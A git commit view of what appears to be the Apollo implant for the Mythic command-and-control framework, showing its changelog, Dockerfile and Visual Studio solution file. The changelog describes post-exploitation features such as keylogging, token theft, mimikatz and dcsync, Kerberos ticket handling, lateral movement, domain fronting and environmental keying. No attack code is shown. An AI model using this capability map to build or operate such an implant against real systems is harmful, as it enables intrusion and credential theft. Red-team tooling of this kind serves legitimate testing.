first commit

This commit is contained in:
Aryma
2026-04-14 12:17:24 +07:00
commit 2f05f67733
799 changed files with 531884 additions and 0 deletions

View File

@@ -0,0 +1,599 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.4.12] - 2026-03-18
### Changed
- Added in `list_registered_files` and `remove_registered_file` commands to interact with Apollo's internal file store
## [v2.4.11] - 2026-03-13
### Changed
- Merged in PRs to support `httpx` and `azure_blob` C2 profiles
- Merged in PR to support a few forms of environmental keying (execution checks, not encryption)
## [v2.4.10] - 2026-02-20
### Changed
- Updated the `upload` command to allow new `-fileName` field and specifying an already uploaded file
- this brings `upload` in line with other file-based commands like `execute_assembly` and `execute_coff`
## [v2.4.9] - 2026-02-02
### Changed
- Updated `COFFLoader.dll` to be compiled with `Release` to help fix `VCRUNTIME140.dll` issues
## [v2.4.8] - 2025-12-23
### Changed
- Added `update_deleted` to more places within `ls` that do separate processing for better consistency
## [v2.4.7] - 2025-12-23
### Changed
- Added support for `update_deleted` in file browsers to auto mark files as "deleted" if they're not in folder listings
## [v2.4.6] - 2025-12-15
### Changed
- Fixing missing dependency change for custom browsers
## [v2.4.5] - 2025-12-12
### Changed
- Updated the COFFLoader.dll with the latest updates from TrustedSec's COFFLoader
- Added ldap_query
- Updated reg_query
## [v2.4.4] - 2025-12-02
### Changed
- Fixed a bug in `powerpick` that referenced an exception class in ExecuteAssembly
## [v2.4.3] - 2025-10-29
### Changed
- Updated PyPi package to v0.6.6
## [v2.4.2] - 2025-10-28
### Changed
- Updated PyPi Version to allow build parameters to specify ui position
## [v2.4.1] - 2025-10-27
### Added
- Added support for the HTTPX Profile C2 transport
- Uses client-side generated RSA keys (4096-bit) to perform EKE (Encrypted Key Exchange)
- Supports malleable profile transforms: base64, base64url, netbios, netbiosu, xor, prepend, append
- Supports all REST HTTP methods: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD
- Supports message placement in query parameters, cookies, headers, and body
- Supports proxy configuration with authentication
- Supports domain fronting and custom HTTP headers
- Supports failover and round-robin domain rotation strategies
- Added environment keying support for hostname, domain name and registry keys
- Build process now conditionally includes only selected C2 profile projects
### Changed
- Updated PyPi version
- Merged in hotfix for P2P comms missing messages sometimes
## [v2.4.0] - 2025-10-07
### Changed
- Updated to mythic-container==v0.6.0 for dynamic parameters
- Updated build parameters to hide shellcode parameters when output type is not shellcode
- Updated c2 deviations to hide get-based parameters that aren't used by this profile
- Updated make_token to allow blank passwords
- Updated ticket_store_purge to process `all` flag properly
## [v2.3.51] - 2025-09-12
## Changed
- Updated steal_token to report back the integrity level of the old and new token
- Updated steal_token to adjust the callback's integrity level
- Updated rev2self to adjust the callback's integrity level
## [v2.3.50] - 2025-09-12
### Changed
- Fixed an issue with spawning processes after doing a `steal_token`
- it was using the primary token instead of the impersonated identity
## [v2.3.49] - 2025-09-10
### Changed
- Updated apollo's `ls` functionality to check if a path ends in `:` and update it to `:\` instead
- this fixes an issue with windows resolving `C:` as the current working directory compared to `C:\`
## [v2.3.48] - 2025-08-25
### Changed
- Fixed parsing for kerberos tickets in ticket_store_add
## [v2.3.47] - 2025-08-21
### Changed
- Updated the parsing for kerberos tickets via impacket to handle missing time values in tickets
## [v2.3.46] - 2025-08-19
### Changed
- Updated inline_assembly to check thread execution with timeouts to be able to detect kill jobs for threads better
- Updated execute_pe to just report back process exit instead of misleading error codes
## [v2.3.45] - 2025-08-11
### Changed
- Fixed a bug in Apollo's P2P code where queued messages could pile up and not get sent
## [v2.3.44] - 2025-07-24
### Changed
- Updated reg_write_value to split input on new lines for multiline input types
## [v2.3.43] - 2025-07-24
### Changed
- Updated reg_write_value to allow you to specify the type of data to write
- Updated screenshot and screenshot_inject to not send extra file_ids to user output since PutFile does that automaically
## [v2.3.42] - 2025-07-24
### Changed
- Updated the screenshot_inject processing to use donut PyPi package
## [v2.3.41] - 2025-07-18
### Changed
- Updated the file upload messages to show chunk status and bail out on errors
- Updated the status for execute_coff and execute_assembly to be more informative
## [v2.3.40] - 2025-07-17
### Changed
- Fixed an issue with upload via file browser not respecting pathing
## [v2.3.39] - 2025-07-15
### Changed
- Fixed a bug with ls-ing UNC paths via the file browser for alternative hosts
## [v2.3.38] - 2025-07-15
### Changed
- Updated `socks` and `rpfwd` tasks to auto-issue `sleep 0` tasks when starting
- Updated `socks` task to auto-issue `sleep 1` when stopping
- Updated `socks` and `rpfwd` task display parameters
- Updated `jobkill` display parameters to be more meaningful
- Updated `jump_psexec` output to make sc output prettier
- Updated `powerpick`, `execute_assembly`, and `execute_pe` to check for sacrificial process pid > 0 rather than exit
- this fixes a bug where access denied when spawning would lock when trying to kill a non-existent pid
- Updated logic in high integrity to only list out ticket cache values for current logon if no luid specified
- Updated ticket_cache_list to report back the current LUID even if there are no tickets available
- Updated the associated browser script to account for this
## [v2.3.37] - 2025-07-14
### Changed
- Fixed a small bug in make_token output that was repeating the old token claims instead of the new ones
- Fixed the same bug in steal_token output
## [v2.3.36] - 2025-07-11
### Changed
- Updated wmiexecute to try two different ways of impersonating user context for remote execution
- Added CoInitializeSecurity call into apollo main program
## [v2.3.35] - 2025-07-11
### Changed
- Updated display params for wmiexecute
- Updated display params for ticket_cache_list
## [v2.3.34] - 2025-07-10
### Changed
- Fixing keylog_inject
- adding keylog_inject browser script to go with it for basic conversion
## [v2.3.33] - 2025-07-10
### Changed
- Added a new interface function to update the Agent UUID
- Used this interface in HTTP and Websocket profiles
- Updated `unlink` command to leverage this for properly reflecting unlinked agents
- Fixed an issue in P2P code that wouldn't update P2P UUID after negotiating
## [v2.3.32] - 2025-07-08
### Changed
- Updated the help for the ticket commands
- Updated the error message for ticket_cache_extract
- Updated the completion function for ticket_cache_extract
## [v2.3.31] - 2025-07-07
### Changed
- Updated the processing for ticket_cache_list to better account for high/medium context
- Updated wmiexecute error code to be in hex not int
- Updated WebSocketClient code to reconnect on disconnect and added a few more checks for Proxy configs
## [v2.3.30] - 2025-07-03
### Changed
- Updated execute_coff, execute_assembly, inline_assembly, execute_pe, inline_assembly, and assembly_inject
- these no longer require `register_*` commands and will automatically fetch the file if needed first
## [v2.3.29] - 2025-06-23
### Changed
- Updated `cd` callback information to get the new proper directory instead of what the user supplied
## [v2.3.28] - 2025-06-19
### Changed
- Updated the make_token and steal_token commands to report back Auth status, Auth Package, and Claims per token
## [v2.3.27] - 2025-06-17
### Changed
- Updated the build for COFFLoader.dll
## [v2.3.26] - 2025-06-17
### Changed
- Updated apollo to support new cwd and impersonation_context fields
- Updated execute_coff to copy COFFLoader.dll instead of move it as needed
## [v2.3.25] - 2025-06-05
### Changed
- Fixed type mismatch for ProxyPort
## [v2.3.24] - 2025-06-05
### Changed
- Updated the parsing of CallbackHost/CallbackPort and ProxyHost/ProxyPort to be more reliable
## [v2.3.23] - 2025-05-29
### Changed
- Updated the file download to report back the file id sooner
- Updated download browser script to display media as the file is downloading
- Updated execute_coff and execute_assembly to have register_file as dependencies
- Updated execute_coff to call execute_file instead of execute_coff command
## [v2.3.22] - 2025-05-28
### Changed
- Updated a reference in the execute_pe task to not reference an exception name in the execute_assembly task
## [v2.3.21] - 2025-05-14
### Changed
- Updated the builder to include all commands when building a debug version of apollo
- Updated the p2p code to initializes the edges array so checks for edge lengths don't crash
## [v2.3.20] - 2025-04-29
### Changed
- Updated some kerberos ticket functions to return more detailed error messages
## [v2.3.19] - 2025-04-29
### Changed
- Updated the `rpfwd` implementation to send Mythic notifications about new connections, not just new data
## [v2.3.18] - 2025-04-29
### Changed
- Updated the `ticket_cache_add` call to return more error status information
## [v2.3.17] - 2025-04-28
### Changed
- Updated `rpfwd` to allow specifying a debug level to help with troubleshooting rpfwd issues
- Fixed the `debug` build option to properly respect user supplied c2 configuration options
## [v2.3.16] - 2025-04-10
### Changed
- Updated the processing for mimikatz credentials
- Updated sleep to not have JSON in the display parameters
- Updated error messages in sleep
- Updated execute_assembly display parameters
- Updated link .net command to test webshell connectivity first
## [v2.3.15] - 2025-04-02
### changed
- Fixed an issue with webshell linking
## [v2.3.14] - 2025-03-30
### Changed
- Fixed an issue with setting configuration options with `\` characters not getting properly escaped
- Updated PyPi package
## [v2.3.13] - 2025-03-24
### Changed
- Fixed an issue with the inject command trying to auto-issue a follow-on link for p2p-based shellcode
## [v2.3.12] - 2025-03-16
### Changed
- Added an action (stop/start) for the SOCKS command
- Added an option for username/password for rpfwd/socks command
- Added a check in jobkill for the rpfwd command to auto stop it from the Mythic side
## [v2.3.11] - 2025-03-16
### Changed
- Added a few more try/catch blocks for named pipe writes
- Fixed a compile bug with an out of scope variable
## [v2.3.10] - 2025-03-14
### Changed
- Added a few more try/catch blocks for named pipe writes to help with breaks
## [v2.3.9] - 2025-03-14
### Changed
- Updated `ticket_store_add` to not create a temp logon session to fetch ticket information
- Instead, ticket information is fetched via impacket in the apollo container first and sent down with the task
## [v2.3.8] - 2025-03-12
### Changed
- Added `debug` build option
## [v2.3.7] - 2025-03-12
### Changed
- Added the ability to select already uploaded files as part of the register_* commands
## [v2.3.6] - 2025-03-12
### Changed
- Added `-p:DebugType=None -p:DebugSymbols=false` to all `dotnet build` commands
- Removed sRDI package as it wasn't used
- Standardized donut usage to all be with the donut binary and not partially with the donut PyPi package
- Updated ticket_[store|cache]_list commands to return structured JSON
- Added browser scripts for ticket_[store|cache]_list commands
-
## [v2.3.5] - 2025-03-03
### Changed
- Fixed a bug in Apollo's named pipe server that would break on writes for immediate disconnects from clients
## [v2.3.4] - 2025-03-03
### Changed
- Fixed a bug in `ls` that would fail to return data about files/folders if apollo couldn't get full information
- Added a `getsystem` command
- Updated `execute_coff` to spin off a new thread and set the impersonation context on that thread
## [v2.3.3] - 2025-02-28
### Changed
- Removed unnecessary make_token reference from sleep
## [v2.3.2] - 2025-02-25
### Changed
- Removed RunOF and replaced it with TrustedSec's COFFLoader project
- Adjusted the execute_coff command to pack args instead of sending down a typed array
- Added a reflective loader for the COFFLoader.dll (with Claude)
- Updated execute_pe's remote loaded code to hook more exit functions and load files better (with Claude)
## [v2.3.1] - 2025-02-11
### Changed
- Fixed a bug in `upload` that would try to create a UNC path even if the supplied hostname was the same as the current host
## [v2.3.0] - 2025-02-10
### Changed
- Updated TCP and SMB profiles to function the same way
- Updated TCP and SMB profiles to use new TCP and SMB profile definitions
- Message formats changed, so v2.3 apollo agents cannot link to v2.2 apollo agents
- This change means that apollo TCP can link with Poseidon TCP
## [v2.2.25] - 2025-01-30
### Changed
- Fixed a bug with upload if remote_path wasn't specified causing regex to break
- Updated execute_coff to optionally take in a file at execution time to support forge
- Updated execute_assembly to optionally take in a file at execution time to support forge
- Updated inline_assembly to optionally take in a file at execution time to support forge
## [v2.2.24] - 2025-01-08
### Changed
- Updated the KerberosTicket storage to handle fetching the right ticket more reliably
## [v2.2.23] - 2025-01-08
### Changed
- Updated the ticket_ticket_list to provide the flag for filtering SYSTEM tickets instead of doing it by default
- Updated sleep to make Jitter an optional parameter
## [v2.2.21] - 2024-11-12
### Changed
- Added some options to the builder for specifying config options for donut
- Added an option to auto-adjust the final payload name based on the configured options
## [v2.2.20] - 2024-11-12
### Changed
- Updated powerpick and PowerShellHost to handle output the same way as execute_assembly and execute_pe
- Updated sacrificial process code to only star tasks for reading stdout/stderr for non-fork and run jobs
- Updated `ps` to include `update_deleted` and send all output at once so Mythic can update the process browser properly
- Updated `kill` to also support `process_browser:kill`
## [v2.2.19] - 2024-11-08
### Changed
- Updated execute_pe code to use named pipes for reading output
- Updated sacrificial process code to read stdout as well for commands like run
- Updated run/shell to read output and exit
## [v2.2.18] - 2024-10-16
### Changed
- Updated `sleep` to take named parameters
- Updated `wmiexecute` to include Evan's wmi execute with impersonation tokens work https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9
- Updated `ls` to check for a CWD of a UNC path before returning bad data for the browser script to leverage
- Updated `upload` and `download` to also try to process a CWD of a UNC path when returning full paths for the file browser
- Added `host` field to return `upload` data to try to more accurately capture the host of where data is uploaded
## [v2.2.17] - 2024-10-04
### Changed
- updated execute_assembly injected stub to hopefully capture more output successfully
## [v2.2.16] - 2024-10-03
### Changed
- updated `jump_wmi` command
- added `jump_psexec` command
- added `Service` build option
- updated execute_assembly and sacrificial processes to hopefully capture more output consistently
## [v2.2.15] - 2024-09-27
### Changed
- Added in new `jump_wmi` command
- Updated `make_token` to allow cli args instead of just modal without registering new creds
- Updated sizes in ls browser script
## [v2.2.14] - 2024-09-24
### Changed
- Added in functionality to link to Arachne via webshell configuration
## [v2.2.13] - 2024-08-21
### Changed
- Added in functionality from Evan McBroom to handle impersonated tokens in some situations with wmiexecute
## [v2.2.12] - 2024-08-20
### Changed
- Fixed the ptr errors in net_localgroup and net_localgroup_member
## [v2.2.11] - 2024-08-19
### Changed
- Fixed an issue with keylogs coming in one keystroke at a time
- Fixed an issue with ps command_line having broken quotes
- Added rpfwd capabilities
## [v2.2.10] - 2024-08-15
### Changed
- Updated pth, mimikatz, dcsync to report as alias commands so load will work properly
## [v2.2.5] - 2024-05-10
### Changed
- Merged in Websocket PR
- Merged in ExecuteCOFF PR
- Added ticket_cache* commands for interacting with local kerberos tickets
- Added ticket_store_* commands for interacting with a local kerberos store within the agent
- Added wmi_execute command for executing WMI locally and remotely
- Fixed double quoting issue in some commands
- Fixed reg_write command
- Updated `shell` to execute `run` without spawning sub task
- Fixed jobs command
- Updated .NET version used
- Fixed SOCKS command performance and reliability

View File

@@ -0,0 +1,23 @@
FROM mcr.microsoft.com/dotnet/sdk:8.0
RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/releases/download/v2.0.0/donut_shellcode-2.0.0.tar.gz && \
tar -xf donut_shellcode-2.0.0.tar.gz && \
cd donut_shellcode-2.0.0 && \
make && \
cp donut / && \
rm -rf donut_shellcode-2.0.0 && \
rm -rf donut_shellcode-2.0.0.tar.gz
WORKDIR /Mythic/
RUN python3 -m venv /venv
RUN /venv/bin/python -m pip install mythic-container==0.6.14 mslex impacket toml
RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0
COPY [".", "."]
# fetch all dependencies
RUN cd apollo/agent_code && dotnet restore --verbosity quiet && rm donut ; cp /donut donut
RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll
CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"]

View File

View File

@@ -0,0 +1,3 @@
# Do not format the Apollo Config.cs file
[Apollo/Config.cs]
generated_code = true

View File

@@ -0,0 +1,6 @@
{
"recommendations": [
"ms-dotnettools.csharp",
"ms-dotnettools.csdevkit"
]
}

View File

@@ -0,0 +1,372 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.8.34525.116
MinimumVisualStudioVersion = 10.0.40219.1
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}"
ProjectSection(ProjectDependencies) = postProject
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B} = {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}
EndProjectSection
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DInvokeResolver", "DInvokeResolver\DInvokeResolver.csproj", "{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SimpleResolver", "SimpleResolver\SimpleResolver.csproj", "{6CA1FF03-8102-41D5-9D57-CC2DA346D684}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WebsocketProfile", "WebsocketProfile\WebsocketProfile.csproj", "{74855A66-CD77-4CCA-AFD9-09E275E47591}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KerberosTickets", "KerberosTickets\KerberosTickets.csproj", "{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE.Standalone", "ExecutePE.Standalone\ExecutePE.Standalone.csproj", "{8F530743-F632-41FC-BBEA-B6727542A719}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "AzureBlobProfile", "AzureBlobProfile\AzureBlobProfile.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxProfile", "HttpxProfile\HttpxProfile.csproj", "{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxTransform", "HttpxTransform\HttpxTransform.csproj", "{BF1EB4E2-0979-4C26-A156-E59C929CF710}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|x86
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|x86
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|x86
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|x86
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|x86
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|x86
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|x86
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|x86
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|x86
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|x86
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|x86
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|x86
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|x86
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|x86
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|x64
